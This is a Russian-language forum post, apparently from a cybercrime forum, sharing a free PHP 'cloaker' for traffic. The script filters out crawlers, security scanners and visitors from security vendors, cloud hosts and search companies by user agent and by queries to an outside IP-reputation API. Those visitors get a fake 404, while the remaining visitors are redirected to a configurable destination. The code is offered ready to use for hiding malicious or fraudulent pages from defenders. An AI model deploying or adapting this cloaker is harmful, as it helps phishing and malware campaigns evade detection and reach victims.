Бесплатная клоака для трафика/отстука.

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,871
Реакции
24
PHP:
<?php

error_reporting(0);

###
function good_reguest(){
	header('Location: http://www.google.com/');
	exit();
}
#
function bad_reguest(){
	header("HTTP/1.0 404 Not Found");
	echo "404 Not Found";
	exit();
}
###

###
$GLOBAL_IP = $_SERVER['REMOTE_ADDR'];;
$GLOBAL_UA = urlencode($_SERVER['HTTP_USER_AGENT']);
#
$CHECK_IPS_KEY = "key_free";
$CHECK_IPS_API_BOT = "http://checkbot.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
$CHECK_IPS_API_ISP = "http://checkisp.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
###

if( ### Check USER_AGENT
    strpos($GLOBAL_UA, urlencode('http://')) !== false ||
    strpos($GLOBAL_UA, urlencode('Crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('Spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('Bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('BOT')) !== false ||
    strpos($GLOBAL_UA, urlencode('bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('ips-agent')) !== false ||
    strpos($GLOBAL_UA, urlencode('zgrab')) !== false ||
    strpos($GLOBAL_UA, urlencode('Netcraft')) !== false ||
    strpos($GLOBAL_UA, urlencode('BingPreview')) !== false ||
    strpos($GLOBAL_UA, urlencode('evc-batch')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wget')) !== false ||
    strpos($GLOBAL_UA, urlencode('CheckHost')) !== false ||
    strpos($GLOBAL_UA, urlencode('HostTracker')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wappalyzer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Hstpnetwork')) !== false ||
    strpos($GLOBAL_UA, urlencode('Genieo')) !== false ||
    strpos($GLOBAL_UA, urlencode('Yahoo')) !== false ||
    strpos($GLOBAL_UA, urlencode('A6-Indexer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Windows NT 5.2')) !== false
    #ADD MORE
){
    bad_reguest();
} else {
	
	if ( ### Check CHECK_IPS_API_BOT
	strpos(file_get_contents($CHECK_IPS_API_BOT), 'BOT') !== false
	){
		bad_reguest();
	} else {
		
		### Check CHECK_IPS_API_ISP
		$GET_ISP = file_get_contents($CHECK_IPS_API_ISP);
		if (
		strpos($GET_ISP, 'Hosting') !== false ||
		strpos($GET_ISP, 'Zscaler') !== false ||
		strpos($GET_ISP, 'Microsoft') !== false ||
		strpos($GET_ISP, 'ScanSafe') !== false ||
		strpos($GET_ISP, 'Amazon') !== false ||
		strpos($GET_ISP, 'YANDEX') !== false ||
		strpos($GET_ISP, 'Yahoo') !== false ||
		strpos($GET_ISP, 'Department') !== false ||
		strpos($GET_ISP, 'Google') !== false
		#ADD MORE
		)
		{
			bad_reguest();
		} else {
			good_reguest();
		}

	}
	
}

exit();

?>

Сделано на CHECK-IPS.NET - IPs-Data API: https://exploitinqx4sjro.onion/topic/168834/
Автор: SUB_ID
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.